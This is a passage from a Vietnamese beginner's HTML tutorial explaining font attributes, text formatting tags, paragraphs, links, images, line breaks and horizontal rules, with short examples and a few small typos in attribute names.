    + face: xác định kiểu font: thường có các kiểu font như .VnTime, Times New Roman, Arial
       VD: <font face= "Arial">Font Arial></font> --> Font Arial
    + size: xác định kích thước chữ:       VD <font size="5">cỡ chữ 5</font> --> cỡ chữ 5
    + color: xác định màu chữ:       VD: <font color="blue">Chữ màu xanh</font> -->  Chữ màu xanh

<big>chữ to</big>chữ to
<small>chữ nhỏ</small>chữ nhỏ
<sup>chỉ số trên</sup>. VD: A bình phương: A<sup>2</sup> --> A2.
<sub>chỉ số dưới</sub>. VD: Công thức hóa học: H<sub>2</sup>O --> H2O.
<strong>nhấn mạnh in đậm</strong>:nhấn mạnh in đậm
<em>nhấn mạnh in nghiêng</em>:nhấn mạnh in nghiêng


3. Đoạn văn bản trong HTML (HTML Paragraphs)

Đoạn văn trong HTML được định nghĩa bởi thẻ <p>:
VD:
<p> Đoạn văn bản thứ nhất</p>
<p> Nội dung đoạn văn bản thứ 2 </p>
*Thuộc tính: align căn lề, giá trị mặc định là "left"


4. Chèn liên kết (link)
Một trang web có thể bao gồm nhiều trang web con khác, về để chuyển đến các trang web con đó thì cần có đường dẫn(link) và như thế thẻ <a> xuất hiện.
Thẻ <a> dùng để định nghĩa liên kết trong HTML có cấu trúc như sau:
<a href="http://google.com.vn" target="_blank">Google Việt Nam</a>
*Thuộc tính:
 + href: bắt buộc phải có bởi vì có nó mới có đường dẫn cần trỏ tới
 + target: thuộc tính này quy định liên kết được mở ra ở đâu, có các giá trị:
  • _blank: mở trang web ở cửa sổ hay tab mới
  • _seft: mở ở cửa sổ hiện tại
mặc định khi không có thuộc tính target thì thẻ <a> sẽ mở ở cửa sổ hiện tại.



5. Chèn hình ảnh
Để chèn một hình ảnh trong HTML ta dùng thẻ <img>, thẻ này không có thẻ đóng.
Cấu trúc:
<img src="hinhanh.png" alt="hình ảnh minh họa" title="Đây là hình ảnh minh họa" width="100%" hight="100px"/>
 *Thuộc tính:
src : chỉ ra đường dẫn đến tệp tin hình ảnh đó ( đường dẫn có thể là tương đối như trên hoặc tuyệt đối khi có http://, mình sẽ cập nhật bài viết sau)
alt: nội dung trong thuộc tính này sẽ hiển thị nếu tệp tin hình ảnh không tồn tại(link die)
title: cái này sẽ hiển thị khi di chuột vào hình ảnh
width và hight: quy định chiều rộng và chiều cao của hình ảnh được phép hiển thị, có thể tính bằng % hoặc px(pixels), khi không có 2 thuộc tính này thì mặc định trình duyệt sẽ lấy kích thước gốc của hình ảnh.

6. Các thẻ khác:

Xuống dòng trong HTML:
Trong HTML khi bạn muốn xuống dòng ở đoạn văn bản nào đó bạn không thể dùng phím enter như trong Word được mà phải sử dụng thẻ <br />
VD:
<p>Một canh</p><br /><p>Hai canh...</p><br /><p>Lại ba canh.</p>
Sẽ thành:

Một canh
Hai canh...
Lại ba canh.

Đường kẻ ngang phân chia trong HTML: <hr />
VD:
<h1>Tiêu đề bài viết</h1>
<hr />
<p>Đoạn văn bản</p>
 
Sẽ thành:
Tiêu đề bài viết
Đoạn văn bản

 
Lên đầu trang